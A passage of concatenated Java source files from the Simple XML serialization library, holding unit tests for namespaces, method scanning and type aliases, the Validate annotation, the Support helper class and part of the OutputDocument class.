}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/NamespaceVerbosityTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class NamespaceVerbosityTest extends ValidationTestCase {
private static final String SOURCE =
"<a xmlns:x='http://domain/x' xmlns:y='http://domain/y'>\n"+
" <x:b>b</x:b>\n"+
" <y:c>c</y:c>\n"+
" <x:d>\n"+
" <e>e</e>\n"+
" </x:d>\n"+
"</a>\n";
@Root
@NamespaceList({
@Namespace(prefix="x", reference="http://domain/x"),
@Namespace(prefix="y", reference="http://domain/y")})
private static class A {
@Element
@Namespace(prefix="i", reference="http://domain/x") // ignore prefix as inherited
private String b;
@Element
@Namespace(prefix="j", reference="http://domain/y") // ignore prefix as inherited
private String c;
@Element
@Namespace(prefix="k", reference="http://domain/x") // ignore prefix as inherited
private D d;
}
@Root
private static class D {
@Element
private String e;
}
public void testScope() throws Exception {
Persister persister = new Persister();
StringWriter writer = new StringWriter();
A example = persister.read(A.class, SOURCE);
assertEquals(example.b, "b");
assertEquals(example.c, "c");
assertEquals(example.d.e, "e");
assertElementHasNamespace(SOURCE, "/a", null);
assertElementHasNamespace(SOURCE, "/a/b", "http://domain/x");
assertElementHasNamespace(SOURCE, "/a/c", "http://domain/y");
assertElementHasNamespace(SOURCE, "/a/d", "http://domain/x");
assertElementHasNamespace(SOURCE, "/a/d/e", null);
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasNamespace(text, "/a", null);
assertElementHasNamespace(text, "/a/b", "http://domain/x");
assertElementHasNamespace(text, "/a/c", "http://domain/y");
assertElementHasNamespace(text, "/a/d", "http://domain/x");
assertElementHasNamespace(text, "/a/d/e", null);
assertElementHasAttribute(text, "/a", "xmlns:x", "http://domain/x");
assertElementHasAttribute(text, "/a", "xmlns:y", "http://domain/y");
assertElementDoesNotHaveAttribute(text, "/a/b", "xmlns:i", "http://domain/x");
assertElementDoesNotHaveAttribute(text, "/a/c", "xmlns:j", "http://domain/y");
assertElementDoesNotHaveAttribute(text, "/a/d", "xmlns:k", "http://domain/x");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MethodScannerDefaultTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
public class MethodScannerDefaultTest extends TestCase {
@Default(DefaultType.PROPERTY)
public static class NoAnnotations {
private String[] array;
private Map<String, String> map;
private List<String> list;
private Date date;
private String customer;
private String name;
private int price;
public Date getDate() {
return date;
}
public void setArray(String[] array) {
this.array = array;
}
public String[] getArray() {
return array;
}
public void setMap(Map<String, String> map) {
this.map = map;
}
public Map<String, String> getMap() {
return map;
}
public void setList(List<String> list) {
this.list = list;
}
public List<String> getList() {
return list;
}
public void setDate(Date date) {
this.date = date;
}
public String getCustomer() {
return customer;
}
public void setCustomer(String customer) {
this.customer = customer;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getPrice() {
return price;
}
public void setPrice(int price) {
this.price = price;
}
}
@Default(DefaultType.PROPERTY)
public static class MixedAnnotations {
private String[] array;
private Map<String, String> map;
private String name;
private int value;
@Attribute
public String getName() {
return name;
}
@Attribute
public void setName(String name) {
this.name = name;
}
@Element(data=true)
public int getValue() {
return value;
}
@Element(data=true)
public void setValue(int value) {
this.value = value;
}
public void setArray(String[] array) {
this.array = array;
}
public String[] getArray() {
return array;
}
public void setMap(Map<String, String> map) {
this.map = map;
}
public Map<String, String> getMap() {
return map;
}
}
public static class ExtendedAnnotations extends MixedAnnotations {
@Element
public String[] getArray() {
return super.getArray();
}
@Element
public void setArray(String[] array) {
super.setArray(array);
}
}
public void testNoAnnotationsWithNoDefaults() throws Exception {
Map<String, Contact> map = getContacts(NoAnnotations.class);
assertFalse(map.isEmpty());
}
public void testMixedAnnotationsWithNoDefaults() throws Exception {
Map<String, Contact> map = getContacts(MixedAnnotations.class);
assertEquals(map.size(), 4);
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("value").isReadOnly());
assertEquals(int.class, map.get("value").getType());
assertEquals(String.class, map.get("name").getType());
assertEquals(Attribute.class, map.get("name").getAnnotation().annotationType());
assertEquals(Element.class, map.get("value").getAnnotation().annotationType());
assertEquals(Attribute.class, map.get("name").getAnnotation(Attribute.class).annotationType());
assertEquals(Element.class, map.get("value").getAnnotation(Element.class).annotationType());
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("value").getAnnotation(Root.class));
}
public void testExtendedAnnotations() throws Exception {
Map<String, Contact> map = getContacts(ExtendedAnnotations.class);
assertFalse(map.get("array").isReadOnly());
assertFalse(map.get("map").isReadOnly());
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("value").isReadOnly());
assertEquals(String[].class, map.get("array").getType());
assertEquals(Map.class, map.get("map").getType());
assertEquals(int.class, map.get("value").getType());
assertEquals(String.class, map.get("name").getType());
assertEquals(Attribute.class, map.get("name").getAnnotation().annotationType());
assertEquals(Element.class, map.get("value").getAnnotation().annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation().annotationType());
assertEquals(Element.class, map.get("array").getAnnotation().annotationType());
assertEquals(Attribute.class, map.get("name").getAnnotation(Attribute.class).annotationType());
assertEquals(Element.class, map.get("value").getAnnotation(Element.class).annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation(ElementMap.class).annotationType());
assertEquals(Element.class, map.get("array").getAnnotation(Element.class).annotationType());
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("value").getAnnotation(Root.class));
assertNull(map.get("map").getAnnotation(Root.class));
assertNull(map.get("array").getAnnotation(Root.class));
}
public void testMixedAnnotations() throws Exception {
Map<String, Contact> map = getContacts(MixedAnnotations.class);
assertFalse(map.get("array").isReadOnly());
assertFalse(map.get("map").isReadOnly());
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("value").isReadOnly());
assertEquals(String[].class, map.get("array").getType());
assertEquals(Map.class, map.get("map").getType());
assertEquals(int.class, map.get("value").getType());
assertEquals(String.class, map.get("name").getType());
assertEquals(Attribute.class, map.get("name").getAnnotation().annotationType());
assertEquals(Element.class, map.get("value").getAnnotation().annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation().annotationType());
assertEquals(ElementArray.class, map.get("array").getAnnotation().annotationType());
assertEquals(Attribute.class, map.get("name").getAnnotation(Attribute.class).annotationType());
assertEquals(Element.class, map.get("value").getAnnotation(Element.class).annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation(ElementMap.class).annotationType());
assertEquals(ElementArray.class, map.get("array").getAnnotation(ElementArray.class).annotationType());
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("value").getAnnotation(Root.class));
assertNull(map.get("map").getAnnotation(Root.class));
assertNull(map.get("array").getAnnotation(Root.class));
}
public void testNoAnnotations() throws Exception {
Map<String, Contact> map = getContacts(NoAnnotations.class);
assertFalse(map.get("date").isReadOnly());
assertFalse(map.get("customer").isReadOnly());
assertFalse(map.get("name").isReadOnly());
assertFalse(map.get("price").isReadOnly());
assertFalse(map.get("list").isReadOnly());
assertFalse(map.get("map").isReadOnly());
assertFalse(map.get("array").isReadOnly());
assertEquals(Date.class, map.get("date").getType());
assertEquals(String.class, map.get("customer").getType());
assertEquals(String.class, map.get("name").getType());
assertEquals(int.class, map.get("price").getType());
assertEquals(List.class, map.get("list").getType());
assertEquals(Map.class, map.get("map").getType());
assertEquals(String[].class, map.get("array").getType());
assertEquals(Element.class, map.get("date").getAnnotation().annotationType());
assertEquals(Element.class, map.get("customer").getAnnotation().annotationType());
assertEquals(Element.class, map.get("name").getAnnotation().annotationType());
assertEquals(Element.class, map.get("price").getAnnotation().annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation().annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation().annotationType());
assertEquals(ElementArray.class, map.get("array").getAnnotation().annotationType());
assertEquals(Element.class, map.get("date").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("customer").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("name").getAnnotation(Element.class).annotationType());
assertEquals(Element.class, map.get("price").getAnnotation(Element.class).annotationType());
assertEquals(ElementList.class, map.get("list").getAnnotation(ElementList.class).annotationType());
assertEquals(ElementMap.class, map.get("map").getAnnotation(ElementMap.class).annotationType());
assertEquals(ElementArray.class, map.get("array").getAnnotation(ElementArray.class).annotationType());
assertNull(map.get("date").getAnnotation(Root.class));
assertNull(map.get("customer").getAnnotation(Root.class));
assertNull(map.get("name").getAnnotation(Root.class));
assertNull(map.get("price").getAnnotation(Root.class));
assertNull(map.get("list").getAnnotation(Root.class));
assertNull(map.get("map").getAnnotation(Root.class));
assertNull(map.get("array").getAnnotation(Root.class));
}
private static Map<String, Contact> getContacts(Class type) throws Exception {
MethodScanner scanner = new MethodScanner(new DetailScanner(type), new Support());
Map<String, Contact> map = new HashMap<String, Contact>();
for(Contact contact : scanner) {
map.put(contact.getName(), contact);
}
return map;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Validate.java<|end_filename|>
/*
* Validate.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Retention;
/**
* The <code>Validate</code> annotation is used to mark a method in
* a serializable object that requires a callback from the persister
* once the deserialization completes. The validate method is invoked
* by the <code>Persister</code> after all fields have been assigned
* and before the commit method is invoked.
* <p>
* Typically the validate method is used to validate the fields that
* have been assigned once deserialization has been completed. The
* validate method must be a no argument public method or a method
* that takes a <code>Map</code> as the only argument. When invoked
* the object can determine whether the fields are valid, if the
* field values do not conform to the objects requirements then the
* method can throw an exception to terminate deserialization.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Commit
*/
@Retention(RetentionPolicy.RUNTIME)
public @interface Validate {
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AliasTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.Node;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.OutputNode;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
public class AliasTest extends ValidationTestCase {
public class AliasStrategy implements Strategy {
private final Strategy strategy;
private final Map<Class, String> forward;
private final Map<String, Class> backward;
private AliasStrategy(Strategy strategy) {
this.forward = new ConcurrentHashMap<Class, String>();
this.backward = new ConcurrentHashMap<String, Class>();
this.strategy = strategy;
}
public void addAlias(Class type, String name) {
forward.put(type, name);
backward.put(name, type);
}
public Value read(Type field, NodeMap<InputNode> node, Map map) throws Exception {
Node entry = node.remove("type");
if(entry != null) {
String value = entry.getValue();
Class type = backward.get(value);
if(type == null) {
throw new PersistenceException("Could not find class for alias %s", value);
}
node.put("class", type.getName());
}
return strategy.read(field, node, map);
}
public boolean write(Type field, Object value, NodeMap<OutputNode> node, Map map) throws Exception {
boolean done = strategy.write(field, value, node, map);
Node entry = node.remove("class");
if(entry != null) {
String className = entry.getValue();
Class type = Class.forName(className);
String name = forward.get(type);
if(name == null) {
throw new PersistenceException("Could not find alias for class %s", className);
}
node.put("type", name);
}
return done;
}
}
@Root
@Namespace(prefix="table", reference="http://simpleframework.org/map")
private static class MultiValueMap {
@ElementMap
private Map<String, Object> map;
public MultiValueMap() {
this.map = new HashMap<String, Object>();
}
public void add(String name, Object value) {
map.put(name, value);
}
public Object get(String name) {
return map.get(name);
}
}
@Root
@Namespace(prefix="item", reference="http://simpleframework.org/entry")
private static class MultiValueEntry {
@Attribute(name="name")
private String name;
@Element(name="value")
private String value;
public MultiValueEntry(@Attribute(name="name") String name,
@Element(name="value") String value) {
this.name = name;
this.value = value;
}
}
public void testMap() throws Exception {
Strategy strategy = new TreeStrategy();
AliasStrategy alias = new AliasStrategy(strategy);
Persister persister = new Persister(alias);
MultiValueMap map = new MultiValueMap();
alias.addAlias(HashMap.class, "map");
alias.addAlias(Integer.class, "int");
alias.addAlias(Double.class, "float");
alias.addAlias(String.class, "text");
alias.addAlias(MultiValueEntry.class, "item");
map.add("integer", 1);
map.add("double", 0.0d);
map.add("string", "test");
map.add("item", new MultiValueEntry("example", "item"));
StringWriter out = new StringWriter();
persister.write(map, out);
String text = out.toString();//.replaceAll("entry", "table:entry");
System.err.println(text);
MultiValueMap read = persister.read(MultiValueMap.class, text);
assertEquals(read.get("integer"), 1);
assertEquals(read.get("double"), 0.0d);
assertEquals(read.get("string"), "test");
validate(persister, map);
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Ensure we know about namespaces
factory.setNamespaceAware(true);
factory.setValidating(false);
DocumentBuilder builder = factory.newDocumentBuilder();
StringReader reader = new StringReader(text);
InputSource source = new InputSource(reader);
Document doc = builder.parse(source);
org.w3c.dom.Element element = doc.getDocumentElement();
assertEquals("multiValueMap", element.getLocalName());
assertEquals("http://simpleframework.org/map", element.getNamespaceURI());
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Support.java<|end_filename|>
/*
* Support.java May 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import static org.simpleframework.xml.DefaultType.FIELD;
import java.lang.annotation.Annotation;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.filter.Filter;
import org.simpleframework.xml.filter.PlatformFilter;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.Format;
import org.simpleframework.xml.stream.Style;
import org.simpleframework.xml.transform.Matcher;
import org.simpleframework.xml.transform.Transform;
import org.simpleframework.xml.transform.Transformer;
/**
* The <code>Support</code> object is used to provide support to the
* serialization engine for processing and transforming strings. This
* contains a <code>Transformer</code> which will create objects from
* strings and will also reverse this process converting an object
* to a string. This is used in the conversion of primitive types.
*
* @author <NAME>
*
* @see org.simpleframework.xml.transform.Transformer
*/
class Support implements Filter {
/**
* This is the factory that is used to create the scanners.
*/
private final InstanceFactory instances;
/**
* This will perform the scanning of types are provide scanners.
*/
private final ScannerFactory scanners;
/**
* This is used to extract the defaults for a specific class.
*/
private final DetailExtractor defaults;
/**
* This is used to extract the details for a specific class.
*/
private final DetailExtractor details;
/**
* This is used to extract the labels for a specific contact.
*/
private final LabelExtractor labels;
/**
* This is the transformer used to transform objects to text.
*/
private final Transformer transform;
/**
* This is the matcher used to acquire the transform objects.
*/
private final Matcher matcher;
/**
* This is the filter used to transform the template variables.
*/
private final Filter filter;
/**
* This is the format used by this persistence support object.
*/
private final Format format;
/**
* Constructor for the <code>Support</code> object. This will
* create a support object with a default matcher and default
* platform filter. This ensures it contains enough information
* to process a template and transform basic primitive types.
*/
public Support() {
this(new PlatformFilter());
}
/**
* Constructor for the <code>Support</code> object. This will
* create a support object with a default matcher and the filter
* provided. This ensures it contains enough information to
* process a template and transform basic primitive types.
*
* @param filter this is the filter to use with this support
*/
public Support(Filter filter) {
this(filter, new EmptyMatcher());
}
/**
* Constructor for the <code>Support</code> object. This will
* create a support object with the matcher and filter provided.
* This allows the user to override the transformations that
* are used to convert types to strings and back again.
*
* @param filter this is the filter to use with this support
* @param matcher this is the matcher used for transformations
*/
public Support(Filter filter, Matcher matcher) {
this(filter, matcher, new Format());
}
/**
* Constructor for the <code>Support</code> object. This will
* create a support object with the matcher and filter provided.
* This allows the user to override the transformations that
* are used to convert types to strings and back again.
*
* @param filter this is the filter to use with this support
* @param matcher this is the matcher used for transformations
* @param format this contains all the formatting for the XML
*/
public Support(Filter filter, Matcher matcher, Format format) {
this.defaults = new DetailExtractor(this, FIELD);
this.transform = new Transformer(matcher);
this.scanners = new ScannerFactory(this);
this.details = new DetailExtractor(this);
this.labels = new LabelExtractor(format);
this.instances = new InstanceFactory();
this.matcher = matcher;
this.filter = filter;
this.format = format;
}
/**
* Replaces the text provided with some property. This method
* acts much like a the get method of the <code>Map</code>
* object, in that it uses the provided text as a key to some
* value. However it can also be used to evaluate expressions
* and output the result for inclusion in the generated XML.
*
* @param text this is the text value that is to be replaced
*
* @return returns a replacement for the provided text value
*/
public String replace(String text) {
return filter.replace(text);
}
/**
* This is used to acquire the <code>Style</code> for the format.
* This requires that the style is not null, if a null style is
* returned from the format this will break serialization.
*
* @return this returns the style used for this format object
*/
public Style getStyle() {
return format.getStyle();
}
/**
* This is used to acquire the <code>Format</code> for this.
* The format should never be null and contains information that
* relates to the indentation that is to be used with XML elements.
*
* @return this returns the format to be used for serialization
*/
public Format getFormat() {
return format;
}
/**
* This will create an <code>Instance</code> that can be used
* to instantiate objects of the specified class. This leverages
* an internal constructor cache to ensure creation is quicker.
*
* @param value this contains information on the object instance
*
* @return this will return an object for instantiating objects
*/
public Instance getInstance(Value value) {
return instances.getInstance(value);
}
/**
* This will create an <code>Instance</code> that can be used
* to instantiate objects of the specified class. This leverages
* an internal constructor cache to ensure creation is quicker.
*
* @param type this is the type that is to be instantiated
*
* @return this will return an object for instantiating objects
*/
public Instance getInstance(Class type) {
return instances.getInstance(type);
}
/**
* This is used to match a <code>Transform</code> using the type
* specified. If no transform can be acquired then this returns
* a null value indicating that no transform could be found.
*
* @param type this is the type to acquire the transform for
*
* @return returns a transform for processing the type given
*/
public Transform getTransform(Class type) throws Exception {
return matcher.match(type);
}
/**
* Creates a <code>Label</code> using the provided contact and XML
* annotation. The label produced contains all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the label instantiated for the contact
*/
public Label getLabel(Contact contact, Annotation label) throws Exception {
return labels.getLabel(contact, label);
}
/**
* Creates a <code>List</code> using the provided contact and XML
* annotation. The labels produced contain all information related
* to an object member. It knows the name of the XML entity, as
* well as whether it is required. Once created the converter can
* transform an XML node into Java object and vice versa.
*
* @param contact this is contact that the label is produced for
* @param label represents the XML annotation for the contact
*
* @return returns the list of labels associated with the contact
*/
public List<Label> getLabels(Contact contact, Annotation label) throws Exception {
return labels.getList(contact, label);
}
/**
* This is used to get a <code>Detail</code> object describing a
* class and its annotations. Any detail retrieved from this will
* be cached to increase the performance of future accesses.
*
* @param type this is the type to acquire the detail for
*
* @return an object describing the type and its annotations
*/
public Detail getDetail(Class type) {
return getDetail(type, null);
}
public Detail getDetail(Class type, DefaultType access) {
if(access != null) {
return defaults.getDetail(type);
}
return details.getDetail(type);
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated fields in a type. The entire
* class hierarchy is scanned for annotated fields. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated fields
*
* @return this returns a list of the annotated fields
*/
public ContactList getFields(Class type) throws Exception {
return getFields(type, null);
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated fields in a type. The entire
* class hierarchy is scanned for annotated fields. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated fields
* @param access this is the access type to use for the fields
*
* @return this returns a list of the annotated fields
*/
public ContactList getFields(Class type, DefaultType access) throws Exception {
if(access != null) {
return defaults.getFields(type);
}
return details.getFields(type);
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated methods in a type. The entire
* class hierarchy is scanned for annotated methods. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated methods
*
* @return this returns a list of the annotated methods
*/
public ContactList getMethods(Class type) throws Exception {
return getMethods(type, null);
}
/**
* This is used to acquire a list of <code>Contact</code> objects
* that represent the annotated methods in a type. The entire
* class hierarchy is scanned for annotated methods. Caching of
* the contact list is done to increase performance.
*
* @param type this is the type to scan for annotated methods
* @param access this is the access type used for the methods
*
* @return this returns a list of the annotated methods
*/
public ContactList getMethods(Class type, DefaultType access) throws Exception {
if(access != null) {
return defaults.getMethods(type);
}
return details.getMethods(type);
}
/**
* This creates a <code>Scanner</code> object that can be used to
* examine the fields within the XML class schema. The scanner
* maintains information when a field from within the scanner is
* visited, this allows the serialization and deserialization
* process to determine if all required XML annotations are used.
*
* @param type the schema class the scanner is created for
*
* @return a scanner that can maintains information on the type
*/
public Scanner getScanner(Class type) throws Exception {
return scanners.getInstance(type);
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
* @param type this is the type to convert the string value to
*
* @return this returns an appropriate instanced to be used
*/
public Object read(String value, Class type) throws Exception {
return transform.read(value, type);
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param value this is the value to be converted to a string
* @param type this is the type to convert to a string value
*
* @return this is the string representation of the given value
*/
public String write(Object value, Class type) throws Exception {
return transform.write(value, type);
}
/**
* This method is used to determine if the type specified can be
* transformed. This will use the <code>Matcher</code> to find a
* suitable transform, if one exists then this returns true, if
* not then this returns false. This is used during serialization
* to determine how to convert a field or method parameter.
*
* @param type the type to determine whether its transformable
*
* @return true if the type specified can be transformed by this
*/
public boolean valid(Class type) throws Exception {
return transform.valid(type);
}
/**
* This is used to acquire the name of the specified type using
* the <code>Root</code> annotation for the class. This will
* use either the name explicitly provided by the annotation or
* it will use the name of the class that the annotation was
* placed on if there is no explicit name for the root.
*
* @param type this is the type to acquire the root name for
*
* @return this returns the name of the type from the root
*
* @throws Exception if the class contains an illegal schema
*/
public String getName(Class type) throws Exception {
Scanner schema = getScanner(type);
String name = schema.getName();
if(name != null) {
return name;
}
return getClassName(type);
}
/**
* This returns the name of the class specified. If there is a root
* annotation on the type, then this is ignored in favour of the
* actual class name. This is typically used when the type is a
* primitive or if there is no <code>Root</code> annotation present.
*
* @param type this is the type to acquire the root name for
*
* @return this returns the name of the type from the root
*/
private String getClassName(Class type) throws Exception {
if(type.isArray()) {
type = type.getComponentType();
}
String name = type.getSimpleName();
if(type.isPrimitive()) {
return name;
}
return Reflector.getName(name);
}
/**
* This is used to determine whether the scanned class represents
* a primitive type. A primitive type is a type that contains no
* XML annotations and so cannot be serialized with an XML form.
* Instead primitives a serialized using transformations.
*
* @param type this is the type to determine if it is primitive
*
* @return this returns true if no XML annotations were found
*/
public boolean isPrimitive(Class type) throws Exception{
if(type == String.class) {
return true;
}
if(type == Float.class) {
return true;
}
if(type == Double.class) {
return true;
}
if(type == Long.class) {
return true;
}
if(type == Integer.class) {
return true;
}
if(type == Boolean.class) {
return true;
}
if(type.isEnum()) {
return true;
}
if(type.isPrimitive()) {
return true;
}
return transform.valid(type);
}
/**
* This is used to determine if the type in question is a container
* of some kind. A container is a Java collection object of an
* array of objects. Containers are treated as special objects in
* the case of default serialization as we do not want to apply
* default annotations when we can use them to better effect.
*
* @param type this is the type to determine if it is a container
*
* @return this returns true if the type represents a container
*/
public boolean isContainer(Class type) {
if(Collection.class.isAssignableFrom(type)) {
return true;
}
if(Map.class.isAssignableFrom(type)) {
return true;
}
return type.isArray();
}
/**
* This is used to determine if the type specified is a floating
* point type. Types that are floating point are the double and
* float primitives as well as the java types for this primitives.
*
* @param type this is the type to determine if it is a float
*
* @return this returns true if the type is a floating point
*/
public static boolean isFloat(Class type) throws Exception {
if(type == Double.class) {
return true;
}
if(type == Float.class) {
return true;
}
if(type == float.class) {
return true;
}
if(type == double.class) {
return true;
}
return false;
}
/**
* This is used to determine if two objects are assignable to
* each other. To be sure that its is possible to inject primitive
* values in to a constructor the primitives are wrapped in their
* counterpart objects, this allows proper assignment checking.
*
* @param expect this is the expected value of the object
* @param actual this is the type in the declaration
*
* @return this returns true if the types can be assigned
*/
public static boolean isAssignable(Class expect, Class actual) {
if(expect.isPrimitive()) {
expect = getPrimitive(expect);
}
if(actual.isPrimitive()) {
actual = getPrimitive(actual);
}
return actual.isAssignableFrom(expect);
}
/**
* This method is used to convert a primitive type to its object
* counterpart. Conversion to an object counterpart is useful when
* there is a need to mask the difference between types.
*
* @param type this is the primitive type to convert to an object
*
* @return this returns the primitive type as its object type
*/
public static Class getPrimitive(Class type) {
if(type == double.class) {
return Double.class;
}
if(type == float.class) {
return Float.class;
}
if(type == int.class) {
return Integer.class;
}
if(type == long.class) {
return Long.class;
}
if(type == boolean.class) {
return Boolean.class;
}
if(type == char.class) {
return Character.class;
}
if(type == short.class) {
return Short.class;
}
if(type == byte.class) {
return Byte.class;
}
return type;
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/OutputDocument.java<|end_filename|>
/*
* OutputDocument.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>OutputDocument</code> object is used to represent the
* root of an XML document. This does not actually represent anything
* that will be written to the generated document. It is used as a
* way to create the root document element. Once the root element has
* been created it can be committed by using this object.
*
* @author <NAME>
*/
class OutputDocument implements OutputNode {
/**
* Represents a dummy output node map for the attributes.
*/
private OutputNodeMap table;
/**
* Represents the writer that is used to create the element.
*/
private NodeWriter writer;
/**
* This is the output stack used by the node writer object.
*/
private OutputStack stack;
/**
* This represents the namespace reference used by this.
*/
private String reference;
/**
* This is the comment that is to be written for the node.
*/
private String comment;
/**
* Represents the value that has been set on this document.
*/
private String value;
/**
* This is the name of this output document node instance.
*/
private String name;
/**
* This is the output mode of this output document object.
*/
private Mode mode;
/**
* Constructor for the <code>OutputDocument</code> object. This
* is used to create an empty output node object that can be
* used to create a root element for the generated document.
*
* @param writer this is the node writer to write the node to
* @param stack this is the stack that contains the open nodes
*/
public OutputDocument(NodeWriter writer, OutputStack stack) {
this.table = new OutputNodeMap(this);
this.mode = Mode.INHERIT;
this.writer = writer;
this.stack = stack;
}
/**
* The default for the <code>OutputDocument</code> is null as it
* does not require a namespace. A null prefix is always used by
* the document as it represents a virtual node that does not
* exist and will not form any part of the resulting XML.
*
* @return this returns a null prefix for the output document
*/
public String getPrefix() {
return null;
}
/**
* The default for the <code>OutputDocument</code> is null as it
* does not require a namespace. A null prefix is always used by
* the document as it represents a virtual node that does not
* exist and will not form any part of the resulting XML.
*
* @param inherit if there is no explicit prefix then inherit
*
* @return this returns a null prefix for the output document
*/
public String getPrefix(boolean inherit) {
return null;
}
/**
* This is used to acquire the reference that has been set on
* this output node. Typically this should be null as this node
* does not represent anything that actually exists. However
* if a namespace reference is set it can be acquired.
*
* @return this returns the namespace reference for this node
*/
public String getReference() {
return reference;
}
/**
* This is used to set the namespace reference for the document.
* Setting a reference for the document node has no real effect
* as the document node is virtual and is not written to the
* resulting XML document that is generated.
*
* @param reference this is the namespace reference added
*/
public void setReference(String reference) {
this.reference = reference;
}
/**
* This returns the <code>NamespaceMap</code> for the document.
* The namespace map for the document must be null as this will
* signify the end of the resolution process for a prefix if
* given a namespace reference.
*
* @return this will return a null namespace map object
*/
public NamespaceMap getNamespaces() {
return null;
}
/**
* This is used to acquire the <code>Node</code> that is the
* parent of this node. This will return the node that is
* the direct parent of this node and allows for siblings to
* make use of nodes with their parents if required.
*
* @return this will always return null for this output
*/
public OutputNode getParent() {
return null;
}
/**
* To signify that this is the document element this method will
* return null. Any object with a handle on an output node that
* has been created can check the name to determine its type.
*
* @return this returns null for the name of the node
*/
public String getName() {
return null;
}
/**
* This returns the value that has been set for this document.
* The value returned is essentially a dummy value as this node
* is never written to the resulting XML document.
*
* @return the value that has been set with this document
*/
public String getValue() throws Exception {
return value;
}
/**
* This is used to get the text comment for the element. This can
* be null if no comment has been set. If no comment is set on
* the node then no comment will be written to the resulting XML.
*
* @return this is the comment associated with this element
*/
